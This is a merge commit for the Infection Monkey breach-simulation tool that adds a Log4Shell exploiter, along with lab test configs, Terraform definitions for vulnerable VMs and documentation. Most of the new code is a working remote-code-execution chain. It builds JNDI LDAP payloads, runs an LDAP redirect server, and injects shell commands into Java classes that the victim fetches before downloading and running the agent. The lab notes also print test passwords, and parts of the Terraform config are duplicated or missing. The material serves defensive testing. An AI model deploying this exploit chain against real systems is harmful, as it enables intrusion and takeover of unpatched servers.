Merge pull request #1670 from guardicore/1663-log4shell-exploit

Log4Shell exploiter
This commit is contained in:
VakarisZ 2022-01-21 11:52:14 +02:00 committed by GitHub
commit 39a48c2b64
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
47 changed files with 1934 additions and 329 deletions

View File

@ -0,0 +1,37 @@
---
title: "Log4Shell"
date: 2022-01-12T14:07:23+05:30
draft: false
tags: ["exploit", "linux", "windows"]
---
The Log4Shell exploiter exploits
[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228).
### Description
Some versions of Apache Log4j, a Java logging framework, have a logging feature
called "Message Lookup Substitution" enabled by default. This allows replacing
certain special strings by dynamically-generated strings at the time of
logging. If log messages or log message parameters can be controlled by an
attacker, arbitrary code can be executed. The Log4Shell exploiter takes
advantage of this vulnerability to propagate to a victim machine.
You can learn more about this vulnerability and potential mitigations
[here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29).
### Services exploited
The Infection Monkey will attempt to exploit the Log4Shell vulnerability in the
following services:
- Apache Solr
- Apache Tomcat
- Logstash
**Note**: Even if none of these services are running in your environment,
running the Log4Shell exploiter can be a good way to test your IDS/IPS or EDR
solutions. These solutions should detect that the Infection Monkey is attempting
to exploit the Log4Shell vulnerability and raise an appropriate alert.

View File

@ -0,0 +1,16 @@
from copy import copy
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
class Log4jLogstash(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
config_values.update(
{
"basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
"basic_network.scope.subnet_scan_list": ["10.2.3.55", "10.2.3.56"],
}
)

View File

@ -0,0 +1,16 @@
from copy import copy
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
class Log4jSolr(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
config_values.update(
{
"basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
"basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"],
}
)

View File

@ -0,0 +1,16 @@
from copy import copy
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
class Log4jTomcat(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
config_values.update(
{
"basic.exploiters.exploiter_classes": ["Log4ShellExploiter"],
"basic_network.scope.subnet_scan_list": ["10.2.3.51", "10.2.3.52"],
}
)

View File

@ -26,5 +26,11 @@ GCP_TEST_MACHINE_LIST = {
"powershell-3-46",
"powershell-3-47",
"powershell-3-48",
"log4j-logstash-55",
"log4j-logstash-56",
"log4j-solr-49",
"log4j-solr-50",
"log4j-tomcat-51",
"log4j-tomcat-52",
],
}

View File

@ -11,6 +11,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
@ -198,7 +201,22 @@ class TestMonkeyBlackbox:
TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter")
def test_shellshock_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter")
TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellshock_exploiter")
def test_log4j_solr_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client, Log4jSolr, "Log4Shell_Solr_exploiter"
)
def test_log4j_tomcat_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter"
)
def test_log4j_logstash_exploiter(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client, Log4jLogstash, "Log4Shell_logstash_exploiter"
)
def test_tunneling(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(

View File

@ -6,6 +6,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp
from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal
from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic
from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop
from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash
from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr
from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat
from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql
from envs.monkey_zoo.blackbox.config_templates.performance import Performance
from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell
@ -53,6 +56,9 @@ CONFIG_TEMPLATES = [
WmiPth,
Zerologon,
Drupal,
Log4jLogstash,
Log4jTomcat,
Log4jSolr,
]

View File

@ -35,8 +35,14 @@ This document describes Infection Monkeys test network, how to deploy and use
[Nr. 3-46 Powershell](#_Toc536021480)<br>
[Nr. 3-47 Powershell](#_Toc536021481)<br>
[Nr. 3-48 Powershell](#_Toc536021482)<br>
[Nr. 250 MonkeyIsland](#_Toc536021483)<br>
[Nr. 251 MonkeyIsland](#_Toc536021484)<br>
[Nr. 3-49 Log4j Solr](#_Toc536021483)<br>
[Nr. 3-50 Log4j Solr](#_Toc536021484)<br>
[Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br>
[Nr. 3-52 Log4j Tomcat](#_Toc536021486)<br>
[Nr. 3-55 Log4j Logstash](#_Toc536021487)<br>
[Nr. 3-56 Log4j Logstash](#_Toc536021488)<br>
[Nr. 250 MonkeyIsland](#_Toc536021489)<br>
[Nr. 251 MonkeyIsland](#_Toc536021490)<br>
[Network topography](#network-topography)<br>
# Warning\!
@ -501,7 +507,7 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible only trough Nr.9</td>
<td>Accessible only through Nr.9</td>
</tr>
</tbody>
</table>
@ -537,7 +543,7 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible only trough Nr.10</td>
<td>Accessible only through Nr.10</td>
</tr>
</tbody>
</table>
@ -569,7 +575,7 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible only trough Nr.10</td>
<td>Accessible only through Nr.10</td>
</tr>
</tbody>
</table>
@ -1201,7 +1207,179 @@ Update all requirements using deployment script:<br>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021483" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
<th><p><span id="_Toc536021483" class="anchor"></span>Nr. <strong>3-49 Log4j Solr</strong></p>
<p>(10.2.3.49)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 18.04LTS</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>Apache Solr 8.11.0</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>8983</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: m0nk3y</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021484" class="anchor"></span>Nr. <strong>3-50 Log4j Solr</strong></p>
<p>(10.2.3.50)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>Apache solr 8.11.0</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>8983</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Passw0rd!</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021485" class="anchor"></span>Nr. <strong>3-51 Log4j Tomcat</strong></p>
<p>(10.2.3.51)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 18.04LTS</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>Apache Tomcat 8.0.36</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>8080</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021486" class="anchor"></span>Nr. <strong>3-52 Log4j Tomcat</strong></p>
<p>(10.2.3.52)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>Apache Tomcat 8.0.36</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>8080</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: Tomcat@22</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021487" class="anchor"></span>Nr. <strong>3-55 Log4j Logstash</strong></p>
<p>(10.2.3.55)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Ubuntu 18.04LTS</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>Logstash 5.5.0</td>
<td>Java 1.8.0</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>9600</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: logstash</td>
<td></td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021488" class="anchor"></span>Nr. <strong>3-56 Log4j Logstash</strong></p>
<p>(10.2.3.56)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>Logstash 5.5.0</td>
<td>Java 1.8.0</td>
</tr>
<tr class="odd">
<td>Default servers port:</td>
<td>9600</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: 7;@K"kPTM</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021489" class="anchor"></span>Nr. <strong>250 MonkeyIsland</strong></p>
<p>(10.2.2.250)</p></th>
<th></th>
</tr>
@ -1225,7 +1403,7 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="odd">
<td>Notes:</td>
<td>Only accessible trough GCP</td>
<td>Only accessible through GCP</td>
</tr>
</tbody>
</table>
@ -1233,7 +1411,7 @@ Update all requirements using deployment script:<br>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021484" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
<th><p><span id="_Toc536021490" class="anchor"></span>Nr. <strong>251 MonkeyIsland</strong></p>
<p>(10.2.2.251)</p></th>
<th></th>
</tr>
@ -1257,7 +1435,7 @@ Update all requirements using deployment script:<br>
</tr>
<tr class="odd">
<td>Notes:</td>
<td>Only accessible trough GCP</td>
<td>Only accessible through GCP</td>
</tr>
</tbody>
</table>

View File

@ -77,6 +77,30 @@ data "google_compute_image" "powershell-3-45" {
name = "powershell-3-45"
project = local.monkeyzoo_project
}
data "google_compute_image" "log4j-solr-49" {
name = "log4j-solr-49"
project = local.monkeyzoo_project
}
data "google_compute_image" "log4j-solr-50" {
name = "log4j-solr-50"
project = local.monkeyzoo_project
}
data "google_compute_image" "log4j-tomcat-51" {
name = "log4j-tomcat-51"
project = local.monkeyzoo_project
}
data "google_compute_image" "log4j-solr-50" {
name = "log4j-solr-50"
project = local.monkeyzoo_project
}
data "google_compute_image" "log4j-logstash-55" {
name = "log4j-logstash-55"
project = local.monkeyzoo_project
}
data "google_compute_image" "log4j-logstash-56" {
name = "log4j-logstash-56"
project = local.monkeyzoo_project
}
data "google_compute_image" "weblogic-18" {
name = "weblogic-18"
project = local.monkeyzoo_project

View File

@ -373,6 +373,111 @@ resource "google_compute_instance_from_template" "powershell-3-45" {
}
}
resource "google_compute_instance_from_template" "powershell-3-45" {
name = "${local.resource_prefix}powershell-3-45"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.powershell-3-45.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.45"
}
}
resource "google_compute_instance_from_template" "log4j-solr-49" {
name = "${local.resource_prefix}log4j-solr-49"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.log4j-solr-49.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.49"
}
}
resource "google_compute_instance_from_template" "log4j-solr-50" {
name = "${local.resource_prefix}log4j-solr-50"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.log4j-solr-50.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.50"
}
}
resource "google_compute_instance_from_template" "log4j-tomcat-51" {
name = "${local.resource_prefix}log4j-tomcat-51"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.log4j-tomcat-51.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.51"
}
}
resource "google_compute_instance_from_template" "log4j-tomcat-52" {
name = "${local.resource_prefix}log4j-tomcat-52"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.log4j-tomcat-52.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.52"
}
}
resource "google_compute_instance_from_template" "log4j-logstash-55" {
name = "${local.resource_prefix}log4j-logstash-55"
source_instance_template = local.default_linux
boot_disk{
initialize_params {
image = data.google_compute_image.log4j-logstash-55.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.55"
}
}
resource "google_compute_instance_from_template" "log4j-logstash-56" {
name = "${local.resource_prefix}log4j-logstash-56"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.log4j-logstash-56.self_link
}
auto_delete = true
}
network_interface {
subnetwork="${local.resource_prefix}monkeyzoo-main"
network_ip="10.2.3.56"
}
}
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
name = "${local.resource_prefix}upgrader-17"

View File

@ -31,8 +31,10 @@ ScoutSuite = {git = "git://github.com/guardicode/ScoutSuite"}
pyopenssl = "==19.0.0" # We can't build 32bit ubuntu12 binary with newer versions of pyopenssl
pypsrp = "*"
typing-extensions = "*"
ldaptor = "*"
[dev-packages]
ldap3 = "*"
[requires]
python_version = "3.7"

File diff suppressed because it is too large Load Diff

View File

@ -58,7 +58,7 @@ class ElasticGroovyExploiter(WebRCE):
def get_open_service_ports(self, port_list, names):
# We must append elastic port we get from elastic fingerprint module because It's not
# marked as 'http' service
valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names)
if ES_SERVICE in self.host.services:
valid_ports.append([ES_PORT, False])
return valid_ports

View File

@ -27,7 +27,7 @@ from infection_monkey.utils.commands import build_monkey_commandline
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ["linux", "windows"]
_EXPLOITED_SERVICE = "Hadoop"
HADOOP_PORTS = [["8088", False]]
HADOOP_PORTS = [("8088", False)]
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name
@ -38,7 +38,7 @@ class HadoopExploiter(WebRCE):
def _exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.HADOOP_PORTS)
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False

View File

@ -0,0 +1,195 @@
import logging
import time
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.log4shell_utils import (
LINUX_EXPLOIT_TEMPLATE_PATH,
WINDOWS_EXPLOIT_TEMPLATE_PATH,
ExploitClassHTTPServer,
LDAPExploitServer,
build_exploit_bytecode,
get_log4shell_service_exploiters,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT
from infection_monkey.model import (
DROPPER_ARG,
LOG4SHELL_LINUX_COMMAND,
LOG4SHELL_WINDOWS_COMMAND,
VictimHost,
)
from infection_monkey.network.info import get_free_tcp_port
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
logger = logging.getLogger(__name__)
class Log4ShellExploiter(WebRCE):
_TARGET_OS_TYPE = ["linux", "windows"]
EXPLOIT_TYPE = ExploitType.VULNERABILITY
_EXPLOITED_SERVICE = "Log4j"
SERVER_SHUTDOWN_TIMEOUT = 15
REQUEST_TO_VICTIM_TIMEOUT = (
5 # Max time agent will wait for the response from victim in SECONDS
)
def __init__(self, host: VictimHost):
super().__init__(host)
self._ldap_port = get_free_tcp_port()
self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
self._class_http_server_port = get_free_tcp_port()
self._ldap_server = None
self._exploit_class_http_server = None
self._agent_http_server_thread = None
self._open_ports = [
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
]
def _exploit_host(self):
if not self._open_ports:
logger.info("Could not find any open web ports to exploit")
return False
self._start_servers()
try:
return self.exploit(None, None)
finally:
self._stop_servers()
def _start_servers(self):
# Start http server, to serve agent to victims
paths = self.get_monkey_paths()
agent_http_path = self._start_agent_http_server(paths)
# Build agent execution command
command = self._build_command(paths["dest_path"], agent_http_path)
# Start http server to serve malicious java class to victim
self._start_class_http_server(command)
# Start ldap server to redirect ldap query to java class server
self._start_ldap_server()
def _start_agent_http_server(self, agent_paths: dict) -> str:
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.try_create_locked_transfer(
self.host, agent_paths["src_path"]
)
self._agent_http_server_thread = http_thread
return http_path
def _start_class_http_server(self, command: str):
java_class = self._build_java_class(command)
self._exploit_class_http_server = ExploitClassHTTPServer(
self._class_http_server_ip, self._class_http_server_port, java_class
)
self._exploit_class_http_server.run()
def _start_ldap_server(self):
self._ldap_server = LDAPExploitServer(
ldap_server_port=self._ldap_port,
http_server_ip=self._class_http_server_ip,
http_server_port=self._class_http_server_port,
storage_dir=get_monkey_dir_path(),
)
self._ldap_server.run()
def _stop_servers(self):
logger.debug("Stopping all LDAP and HTTP Servers")
self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
def _build_ldap_payload(self) -> str:
interface_ip = get_interface_to_target(self.host.ip_addr)
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
def _build_command(self, path, http_path) -> str:
# Build command to execute
monkey_cmd = build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
)
if "linux" in self.host.os["type"]:
base_command = LOG4SHELL_LINUX_COMMAND
else:
base_command = LOG4SHELL_WINDOWS_COMMAND
return base_command % {
"monkey_path": path,
"http_path": http_path,
"monkey_type": DROPPER_ARG,
"parameters": monkey_cmd,
}
def _build_java_class(self, exploit_command: str) -> bytes:
if "linux" in self.host.os["type"]:
return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH)
else:
return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
def exploit(self, url, command) -> bool:
# Try to exploit all services,
# because we don't know which services are running and on which ports
for exploit in get_log4shell_service_exploiters():
for port in self._open_ports:
try:
exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
except Exception as ex:
logger.warning(
"An error occurred while attempting to exploit log4shell on a "
f"potential {exploit.service_name} service: {ex}"
)
if self._wait_for_victim():
self.exploit_info["vulnerable_service"] = {
"service_name": exploit.service_name,
"port": port,
}
return True
return False
def _wait_for_victim(self) -> bool:
victim_called_back = False
victim_called_back = self._wait_for_victim_to_download_java_bytecode()
if victim_called_back:
self._wait_for_victim_to_download_agent()
return victim_called_back
def _wait_for_victim_to_download_java_bytecode(self) -> bool:
start_time = time.time()
while not self._victim_timeout_expired(
start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT
):
if self._exploit_class_http_server.exploit_class_downloaded():
return True
time.sleep(1)
return False
def _wait_for_victim_to_download_agent(self):
start_time = time.time()
while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT):
if self._agent_http_server_thread.downloads > 0:
break
time.sleep(1)
@classmethod
def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool:
return timeout < (time.time() - start_time)

View File

@ -0,0 +1,31 @@
# Building Java class templates for log4shell
## Summary
The log4shell exploiter provides two files, `LinuxExploit.class.template` and
`WindowsExploit.class.templete`. These files are served to a vulnerable machine
via LDAP and HTTP to achieve remote code execution. This README file contains
instructions for rebuilding these template files should it ever become
necessary.
## Proceedure
1. Copy the desired Linux or Windows Java source code to a new file named
`Exploit.java`. Both Java source code files contain a class named `Exploit`.
When building Java classes, the class name and the file name must match
exactly.
```
$ cp LinuxExploit.java Exploit.java
```
1. Use `javac` to build the Java class file.
```
$ javac Exploit.java
```
1. Rename the `.class` file with the appropriate OS name.
```
$ mv Exploit.class LinuxExploit.class.template
```
1. Remove the `Exploit.java` file, as it is no longer needed.

View File

@ -0,0 +1,7 @@
public class Exploit {
static {
try {
Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "###"});
} catch(Exception e) {}
}
}

View File

@ -0,0 +1,7 @@
public class Exploit {
static {
try {
Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "###"});
} catch(Exception e) {}
}
}

View File

@ -0,0 +1,11 @@
from pathlib import Path
from .exploit_builder import (
build_exploit_bytecode,
InvalidExploitTemplateError,
)
from .ldap_server import LDAPExploitServer
from .service_exploiters import get_log4shell_service_exploiters
from .exploit_class_http_server import ExploitClassHTTPServer
LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template"
WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template"

View File

@ -0,0 +1,62 @@
import struct
from pathlib import Path
# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce
INJECTION_TAG = "###"
class InvalidExploitTemplateError(Exception):
pass
def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes:
"""
Build a payload used to exploit log4shell
:param str payload_command: The command that will be executed on the remote host.
:param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
the placeholder "###". This placeholder will be overwritten
with the contents of payload_command.
:return: Java bytecode that will execute the payload
:rtype: bytes
"""
template_bytecode = _load_template_bytecode(exploit_template_path)
exploit_bytecode = _inject_payload(payload_command, template_bytecode)
return exploit_bytecode
def _load_template_bytecode(exploit_template_path: Path) -> bytes:
with open(exploit_template_path, "rb") as h:
template_bytecode = h.read()
if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
raise InvalidExploitTemplateError(
f'The file "{exploit_template_path}" is not a compiled Java class'
)
return template_bytecode
def _inject_payload(payload: str, template_bytecode: bytes):
payload_bytes = payload.encode()
if not INJECTION_TAG.encode() in template_bytecode:
raise InvalidExploitTemplateError(
f'Unable to find "{INJECTION_TAG}" tag in the template bytecode'
)
index = template_bytecode.index(INJECTION_TAG.encode())
exploit_bytecode = (
template_bytecode[: index - 3]
+ str_size(payload_bytes)
+ payload_bytes
+ template_bytecode[index + 3 :]
)
return exploit_bytecode
def str_size(data: bytes) -> bytes:
return b"\x01" + struct.pack("!H", len(data))

View File

@ -0,0 +1,118 @@
import http.server
import logging
import threading
logger = logging.getLogger(__name__)
HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429
# If we need to run multiple HTTP servers in parallel, we'll need to either:
# 1. Use multiprocessing so that each HTTPHandler class has its own class_downloaded variable
# 2. Create a metaclass and define the handler class dymanically at runtime
class HTTPHandler(http.server.BaseHTTPRequestHandler):
java_class: bytes
class_downloaded: threading.Event
download_lock: threading.Lock
@classmethod
def initialize(cls, java_class: bytes, class_downloaded: threading.Event):
cls.java_class = java_class
cls.class_downloaded = class_downloaded
cls.download_lock = threading.Lock()
def do_GET(self):
with HTTPHandler.download_lock:
if HTTPHandler.class_downloaded.is_set():
self.send_error(
HTTP_TOO_MANY_REQUESTS_ERROR_CODE,
"Java exploit class has already been downloaded",
)
return
HTTPHandler.class_downloaded.set()
logger.info("Java class server received a GET request!")
self.send_response(200)
self.send_header("Content-type", "application/octet-stream")
self.end_headers()
logger.info("Sending the payload class!")
self.wfile.write(self.java_class)
class ExploitClassHTTPServer:
"""
An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server
limits the number of requests to one. That is, after one victim has downloaded the java
bytecode, the server will respond with a 429 error to all future requests.
Note: There can only be one instance of this class at a time due to the way it is implemented.
"""
def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5):
"""
:param ip: The IP address that the server will bind to
:param port: The port that the server will listen on
:param java_class: The compiled Java bytecode that the server will serve
:param poll_interval: Poll for shutdown every `poll_interval` seconds, defaults to 0.5.
"""
logger.debug(f"The Java Exploit class will be served at {ip}:{port}")
self._class_downloaded = threading.Event()
self._poll_interval = poll_interval
HTTPHandler.initialize(java_class, self._class_downloaded)
self._server = http.server.HTTPServer((ip, port), HTTPHandler)
# Setting `daemon=True` to save ourselves some trouble when this is merged to the
# agent-refactor branch.
# TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()`
# constructor directly after merging to the agent-refactor branch.
self._server_thread = threading.Thread(
target=self._server.serve_forever, args=(self._poll_interval,), daemon=True
)
def run(self):
"""
Runs the HTTP server in the background and blocks until the server has started.
"""
logger.info("Starting ExploitClassHTTPServer")
self._class_downloaded.clear()
# NOTE: Unlike in LDAPExploitServer, we theoretically don't need to worry about a race
# between when `serve_forever()` is ready to handle requests and when the victim machine
# sends its requests. This could change if we switch from multithreading to multiprocessing.
# See
# https://stackoverflow.com/questions/22606480/how-can-i-test-if-python-http-server-httpserver-is-serving-forever
# for more information.
self._server_thread.start()
def stop(self, timeout: float = None):
"""
Stops the HTTP server.
:param timeout: A floating point number of seconds to wait for the server to stop. If this
argument is None (the default), the method blocks until the HTTP server
terminates. If `timeout` is a positive floating point number, this method
blocks for at most `timeout` seconds.
"""
if self._server_thread.is_alive():
logger.debug("Stopping the Java Exploit class HTTP server")
self._server.shutdown()
self._server_thread.join(timeout)
if self._server_thread.is_alive():
logger.warning("Timed out while waiting for The HTTP exploit server to stop")
else:
logger.debug("The Java Exploit class HTTP server has stopped")
def exploit_class_downloaded(self) -> bool:
"""
Returns whether or not a victim has downloaded the Java bytecode from the server.
:return: True if the victim has downloaded the Java bytecode from the server. False
otherwise.
:rtype: bool
"""
return self._class_downloaded.is_set()

View File

@ -0,0 +1,184 @@
import logging
import math
import multiprocessing
import tempfile
import threading
import time
from pathlib import Path
from ldaptor.interfaces import IConnectedLDAPEntry
from ldaptor.ldiftree import LDIFTreeEntry
from ldaptor.protocols.ldap.ldapserver import LDAPServer
from twisted.application import service
from twisted.internet import reactor
from twisted.internet.protocol import ServerFactory
from twisted.python import log
from twisted.python.components import registerAdapter
logger = logging.getLogger(__name__)
EXPLOIT_RDN = "dn=Exploit"
REACTOR_START_TIMEOUT_SEC = 30.0
class LDAPServerStartError(Exception):
pass
class Tree:
"""
An LDAP directory information tree (DIT) used to exploit log4shell
Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
"""
def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path):
self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir)
self.db = LDIFTreeEntry(self.path)
self._init_db(http_server_ip, http_server_port)
def _init_db(self, http_server_ip: str, http_server_port: int):
attributes = {
"javaFactory": ["Exploit"],
"objectClass": ["javaNamingReference"],
"javaCodeBase": [f"http://{http_server_ip}:{http_server_port}/"],
"javaClassName": ["Exploit"],
}
self.db.addChild(EXPLOIT_RDN, attributes)
class LDAPServerFactory(ServerFactory):
"""
Our Factory is meant to persistently store the ldap tree
Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
"""
protocol = LDAPServer
def __init__(self, root):
self.root = root
def buildProtocol(self, addr):
proto = self.protocol()
proto.debug = self.debug
proto.factory = self
return proto
class LDAPExploitServer:
"""
This class wraps the creation of an Ldaptor LDAP server that is used to exploit log4shell.
Adapted from: https://ldaptor.readthedocs.io/en/latest/cookbook/servers.html
"""
def __init__(
